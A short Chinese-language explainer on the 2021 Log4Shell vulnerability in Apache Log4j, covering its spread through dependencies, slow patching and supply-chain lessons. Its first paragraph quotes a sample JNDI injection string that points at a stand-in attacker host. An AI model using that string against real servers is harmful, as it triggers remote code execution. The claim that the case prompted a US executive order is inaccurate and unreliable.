2021 年 12 月,人们在一个无处不在的 Java 日志库 Apache Log4j 中发现了一个严重的零日漏洞 (CVE-2021-44228,绰号“Log4Shell”),它被用在数百万个应用和服务器里。攻击者只要发送一段精心构造的字符串,就能在服务器上执行任意代码——简单到只需在登录框里输入“${jndi:ldap://attacker.com}”。

这个漏洞之所以是灾难性的,是因为 Log4j 嵌在种类繁多的软件里:企业应用、云服务、游戏服务器 (Minecraft)、物联网设备、政府系统。许多机构甚至不知道自己在运行 Log4j,因为它是一个深埋在软件栈里的传递依赖。

Apache 软件基金会发布了补丁,但修复缓慢而复杂:机构必须找出系统里每一处 Log4j,逐个打补丁,再验证修复。漏洞在披露后几小时内就被积极利用。这一案例说明了现代软件供应链的脆弱:一个被广泛使用的开源库里的单一漏洞,能同时危及数百万个系统。

数百万个系统受影响;全球范围的打补丁行动

Log4j 作为传递依赖嵌在数百万个应用里,运行它的机构往往毫不知情。

这个漏洞允许远程代码执行,利用字符串简单得不能再简单。

修复很慢,因为机构必须在自己技术栈里找到并修补每一处 Log4j。

漏洞在公开披露后几小时内就被积极利用。

现代软件栈是一座依赖之塔,大多数机构并不知道自己的塔里有什么。Log4j 无处不在。问题不是“我们受影响了吗?”,而是“我们能率先查清楚吗?”

Apache 发布了补丁,这个 CVE 被评为 10.0 的严重性满分。这一案例促使美国政府就软件供应链安全发布行政命令,也加快了软件物料清单 (SBOM) 的采用。Log4j 至今仍是供应链风险的一个参照点。

从这里,追溯依据

参考来源

  1. Log4Shell — Wikipedia en.wikipedia.org
  2. Log4shell: US demands Christmas Eve deadline for hack fix — BBC News bbc.com
  3. The Log4J Vulnerability Will Haunt the Internet for Years — WIRED wired.com
  4. CISA — Apache Log4j Vulnerability Guidance (CVE-2021-44228) cisa.gov